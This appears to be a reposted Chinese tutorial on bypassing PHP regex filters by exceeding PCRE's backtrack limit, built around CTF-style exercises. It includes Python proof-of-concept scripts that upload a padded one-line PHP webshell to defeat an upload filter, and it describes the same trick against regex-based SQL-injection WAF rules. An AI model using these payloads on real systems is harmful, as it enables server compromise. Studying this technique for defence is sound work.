目錄
一、正則表達(dá)式概述
有限狀態(tài)自動(dòng)機(jī)
匹配輸入的過(guò)程分別是:
DFA(確定性有限狀態(tài)自動(dòng)機(jī))
NFA(非確定性有限狀態(tài)自動(dòng)機(jī))
二、回溯的過(guò)程
三、 PHP 的 pcre.backtrack_limit 限制利用
例題一
回溯繞過(guò)步驟 :
1、運(yùn)行結(jié)果: 可見無(wú)法匹配
2、嘗試匹配:依舊無(wú)法匹配
3、再次嘗試:發(fā)現(xiàn)拿到匹配結(jié)果
原因:
總結(jié):
1、繞過(guò)該正則
例題二
1、利用python語(yǔ)言編寫回溯繞過(guò)一百萬(wàn)次的腳本
回溯過(guò)程模擬:
例題三
文件上傳漏洞
1、編寫文件上傳腳本
2、上傳任意一個(gè)文件
3、正則回溯
編寫回溯腳本
查看并執(zhí)行python代碼是否成功
temp文件出現(xiàn)
使用中國(guó)蟻劍進(jìn)行連接測(cè)試
一、正則表達(dá)式概述
正則表達(dá)式是一個(gè)可以被 “有限狀態(tài)自動(dòng)機(jī)”接受的語(yǔ)言類。
有限狀態(tài)自動(dòng)機(jī)
????????其擁有有限數(shù)量的狀態(tài),每個(gè)狀態(tài)可以遷移到零個(gè)或多個(gè)狀態(tài),輸入字串決定執(zhí)行哪個(gè)狀態(tài)的遷移。
????????而常見的正則引擎,又被細(xì)分為 DFA(確定性有限狀態(tài)自動(dòng)機(jī))與 NFA(非確定性有限狀態(tài)自動(dòng)機(jī))。
匹配輸入的過(guò)程分別是:
DFA(確定性有限狀態(tài)自動(dòng)機(jī))
????????從起始狀態(tài)開始,一個(gè)字符一個(gè)字符地讀取輸入串,并根據(jù)正則來(lái)一步步確定至下一個(gè)轉(zhuǎn)移狀態(tài),直到匹配不上或走完整個(gè)輸入
?
NFA(非確定性有限狀態(tài)自動(dòng)機(jī))
????????從起始狀態(tài)開始,一個(gè)字符一個(gè)字符地讀取輸入串,并與正則表達(dá)式進(jìn)行匹配,如果匹配不上,則進(jìn)行回溯,嘗試其他狀態(tài)
由于 NFA 的執(zhí)行過(guò)程存在回溯,所以其性能會(huì)劣于 DFA,但它支持更多功能。大多數(shù)程序語(yǔ)言都使用了 NFA 作為正則引擎,其中也包括 PHP 使用的 PCRE 庫(kù)。
二、回溯的過(guò)程
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
<?php eval()
if(!is_php($input)) {
// fwrite($f, $input); ...
}
題目中的正則 <\?.*[(`;?>].*,假設(shè)匹配的輸入是 <?php phpinfo();//aaaaa,實(shí)際執(zhí)行流程是這樣的:
回溯過(guò)程
?????????在第 4 步的時(shí)候,因?yàn)榈谝粋€(gè) .* 可以匹配任何字符,所以最終匹配到了輸入串的結(jié)尾,也就是 //aaaaa。但此時(shí)顯然是不對(duì)的,因?yàn)檎齽t顯示.*后面還應(yīng)該有一個(gè)字符 [(`;?>]。
????????所以 NFA 就開始回溯,先吐出一個(gè) a,輸入變成第 5 步顯示的 //aaaa,但仍然匹配不上正則,繼續(xù)吐出 a,變成 //aaa,仍然匹配不上……
????????最終直到吐出;,輸入變成第 12 步顯示的 <?php phpinfo(),此時(shí) ,.* 匹配的是 php phpinfo(),而后面的 ; 則匹配上 [(`;?>] ,這個(gè)結(jié)果滿足正則表達(dá)式的要求,于是不再回溯。13 步開始向后匹配;,14 步匹配.*,第二個(gè).*匹配到了字符串末尾,最后結(jié)束匹配。
????????在調(diào)試正則表達(dá)式的時(shí)候,我們可以查看當(dāng)前回溯的次數(shù)
三、 PHP 的 pcre.backtrack_limit 限制利用
PHP 為了防止正則表達(dá)式的拒絕服務(wù)攻擊(reDOS),給 pcre 設(shè)定了一個(gè)回溯次數(shù)上限 pcre.backtrack_limit。我們可以通過(guò) var_dump(ini_get('pcre.backtrack_limit'));的方式查看當(dāng)前環(huán)境下的上限:
回溯次數(shù)上限默認(rèn)是 100 萬(wàn)
回溯次數(shù)超過(guò)了 100 萬(wàn),返回的非 1 和 0,是 false。
preg_match 返回的非 1 和 0,而是 false。
preg_match 函數(shù)返回 false 表示此次執(zhí)行失敗了,我們可以調(diào)用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);,發(fā)現(xiàn)失敗的原因的確是回溯次數(shù)超出了限制
所以,這道題的答案就呼之欲出了。我們通過(guò)發(fā)送超長(zhǎng)字符串的方式,使正則執(zhí)行失敗,最后繞過(guò)目標(biāo)對(duì) PHP 語(yǔ)言的限制。
對(duì)應(yīng)的 POC 如下:
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://xx.xx.xx.xx/index.php', files=files, allow_redirects=False)
print(res.headers)
四、PCRE 另一種錯(cuò)誤的用法
基于 PHP 的 WAF:
例一:
<?php
if(preg_match('/SELECT.+FROM.+/is', $input)) {
die('SQL Injection');
}
均存在上述問(wèn)題,通過(guò)大量回溯可以進(jìn)行繞過(guò)。
例二:
?
<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {
die('SQL Injection');
}
這里涉及到了正則表達(dá)式的「非貪婪模式」。在 NFA 中,如果我輸入 UNION/*aaaaa*/SELECT,這個(gè)正則表達(dá)式執(zhí)行流程如下:
.+? 匹配到/ 因?yàn)榉秦澙纺J?,所?+? 停止匹配,而由 S 匹配* S 匹配*失敗,回溯,再由.+? 匹配* 因?yàn)榉秦澙纺J?,所?+? 停止匹配,而由 S 匹配 a S 匹配 a 失敗,回溯,再由.+? 匹配 a ... ?回溯次數(shù)隨著 a 的數(shù)量增加而增加。所以,我們?nèi)匀豢梢酝ㄟ^(guò)發(fā)送大量 a,來(lái)使回溯次數(shù)超出 pcre.backtrack_limit 限制,進(jìn)而繞過(guò) WAF:
例題一
<?php
// greeting[]=Merry Christmas&greeting[]=123
function areyouok($greeting){
return preg_match('/Merry.*Christmas/is',$greeting); //正則匹配
}
// greeting[]=123
// $greeting=@$_POST['greeting'];
if(!areyouok($greeting)){
// NULL != false
// Null !== false
// null !== false
// strpos
if(strpos($greeting,'Merry Christmas') !== false){ //字符查找,如果查找到返回字符的位置,沒(méi)有就返回false
echo 'welcome to nanhang. '.'flag{i_Lov3_NanHang_everyThing}';
}else{
echo 'Do you know .swp file?';
}
}else{
echo 'Do you know PHP?';
}
回溯繞過(guò)步驟 :
1、運(yùn)行結(jié)果: 可見無(wú)法匹配
2、嘗試匹配:依舊無(wú)法匹配
3、再次嘗試:發(fā)現(xiàn)拿到匹配結(jié)果
原因:
此時(shí)greeting傳遞的是數(shù)組,元素是123,而 strpos驗(yàn)證的是字符串
由上可見:在strpos這個(gè)對(duì)字符串處理的函數(shù)中傳遞數(shù)組,那么它將會(huì)返回一個(gè)NULL
將strpos返回的值NULL與 null !== false 進(jìn)行對(duì)比,如果為真,則進(jìn)行下去,為假則結(jié)束。
當(dāng)只有一個(gè) = bool(false),返回值為false,程序執(zhí)行結(jié)束???
<?php
var_dump(NULL != false);
?>
當(dāng)有兩個(gè) == 時(shí),返回值為true,程序繼續(xù)執(zhí)行
<?php
var_dump(NULL !== false);
?>
知識(shí)點(diǎn)補(bǔ)充:
PHP中 比較 0、false、null,'' "
松散比較:使用兩個(gè)等號(hào) == 比較,只比較值,不比較類型。 嚴(yán)格比較:用三個(gè)等號(hào) === 比較,除了比較值,也比較類型。 == 在進(jìn)行比較的時(shí)候,會(huì)先將字符串類型轉(zhuǎn)化成相同,再比較
0 == false: bool(true) 0 === false: bool(false) 0 == null: bool(true) 0 === null: bool(false) false == null: bool(true) false === null: bool(false) "0" == false: bool(true) "0" === false: bool(false) "0" == null: bool(false) "0" === null: bool(false) "" == false: bool(true) "" === false: bool(false) "" == null: bool(true) "" === null: bool(false)
總結(jié):
1、繞過(guò)該正則
插入代碼:
greeting[]=123;
?此時(shí)繞過(guò)第一個(gè)正則
接著會(huì)返回
?null !== false;
根據(jù)嚴(yán)格不相等原則,此時(shí)返回結(jié)果是true,因此,代碼將會(huì)繼續(xù)執(zhí)行
例題二
<?php
function areyouok($greeting){
? ?return preg_match('/Merry.*Christmas/is',$greeting);
}
?
// 回溯的問(wèn)題
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
? ?if(!areyouok($greeting)){
? ? ? ?// strpos string postion
? ? ? ?if(strpos($greeting,'Merry Christmas') !== false){
? ? ? ? ? ?echo 'Merry Christmas. '.'flag{i_Lov3_NanHang_everyThing}';
? ? ? }else{
? ? ? ? ? ?echo 'Do you know .swp file?';
? ? ? }
? }else{
? ? ? ?echo 'Do you know PHP?';
? }
} else {
? ?echo 'fuck array!!!';
}
?>
?
?
思路: 只要將if(!areyouok($greeting))為假,并且含有‘Merry Christmas’字符,回溯一百萬(wàn)次即可繞過(guò)
1、利用python語(yǔ)言編寫回溯繞過(guò)一百萬(wàn)次的腳本
from requests import post
payload = {
'greeting' : 'Merry Christmas' + 'a' * 1000001
}
url = 'http://127.0.0.1/xss_location/dem04.php'
res = post(url ,data=payload)
回溯超過(guò)一百萬(wàn)次后,繞過(guò)正則,此時(shí)if(!areyouok($greeting))為假,可見最終打印出'Merry Christmas',由此可見繞過(guò)完成
回溯過(guò)程模擬:
正則回溯實(shí)例
例題三
文件上傳漏洞
<?php
function is_php($data){
? ?return preg_match('/<\?.*[(`;?>].*/is', $data);
}
?
if(empty($_FILES)) {
? ?die(show_source(__FILE__));
}
?
$user_dir = md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
? ?exit("bad request");
} else {
? ?@mkdir($user_dir, 0755);
? ?$path = $user_dir . '/' . 'oupeng.php';
? ?//利用move_uploaded_file將臨時(shí)文件,復(fù)制到$path
? ?move_uploaded_file($_FILES['file']['tmp_name'], $path);
?
? ?header("Location: $path", true, 303);
}
?>
1、編寫文件上傳腳本
<?php
echo "<pre>"; //設(shè)置輸出為格式化輸出
var_dump($_FILES);
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Xss-filter</title>
</head>
<body>
<form action="./file_upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="">
<input type="submit" value="submit">
</form>
</body>
</html>
2、上傳任意一個(gè)文件
?
注:php上傳文件時(shí)會(huì)生成一個(gè)臨時(shí)文件,當(dāng)文件上傳完成時(shí)該臨時(shí)文件將會(huì)自動(dòng)刪除
可以通過(guò)設(shè)置睡眠時(shí)間來(lái)將臨時(shí)文件tmp抓到
<?php
sleep(100);
echo "<pre>"; //設(shè)置輸出為格式化輸出
var_dump($_FILES);
3、正則回溯
編寫回溯腳本
from requests import post
files = {
'file' : r'<?php eval($_POST[123]);//' + r'a' * 1000000
}
url = 'http://127.0.0.1/xss_location/demo6.php'
res = post(url ,files=files, allow_redirects=False)
print (res.headers)
查看并執(zhí)行python代碼是否成功
temp文件出現(xiàn)
此時(shí),一句話木馬已經(jīng)寫入
使用中國(guó)蟻劍進(jìn)行連接測(cè)試
文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-649323.html
?連接成功,此時(shí)已經(jīng)繞過(guò)漏洞。文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-649323.html
到了這里,關(guān)于PHP利用PCRE回溯次數(shù)限制繞過(guò)某些安全限制實(shí)戰(zhàn)案例的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!